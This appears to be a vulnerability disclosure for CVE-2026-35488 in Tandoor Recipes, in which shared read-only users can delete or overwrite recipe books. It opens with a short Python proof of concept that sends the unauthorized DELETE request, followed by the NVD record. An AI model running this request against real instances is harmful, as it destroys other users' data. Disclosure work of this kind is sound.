CVE-2026-35488

import requests # Target API endpoint for a specific RecipeBook target_url = "http://target-domain.com/api/recipe-book/{recipe_book_id}/" # Cookies of a user who has shared access (read-only intended) attacker_cookies = { "sessionid": "valid_shared_user_session_token" } # Attempt to delete the recipe book using HTTP DELETE method # Vulnerability: The server does not check if DELETE is a SAFE_METHOD response = requests.delete(target_url, cookies=attacker_cookies) if response.status_code == 204 or response.status_code == 200: print("[+] Exploit successful: RecipeBook deleted via permission bypass.") else: print(f"[-] Exploit failed: Status code {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-35488", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:27.003", "lastModified": "2026-04-17T19:46:09.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.4, RecipeBookViewSet and RecipeBookEntryViewSet use CustomIsShared as an alternative permission class, but CustomIsShared.has_object_permission() returns True for all HTTP methods — including DELETE, PUT, and PATCH — without checking request.method in SAFE_METHODS. Any user who is in the shared list of a RecipeBook can delete or overwrite it, even though shared access is semantically read-only. This vulnerability is fixed in 2.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-749"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tandoor:recipes:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.4", "matchCriteriaId": "D29C4837-2650-4BEF-A332-657E7D593877"}]}]}], "references": [{"url": "https://github.com/TandoorRecipes/recipes/releases/tag/2.6.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-xvmf-cfrq-4j8f", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}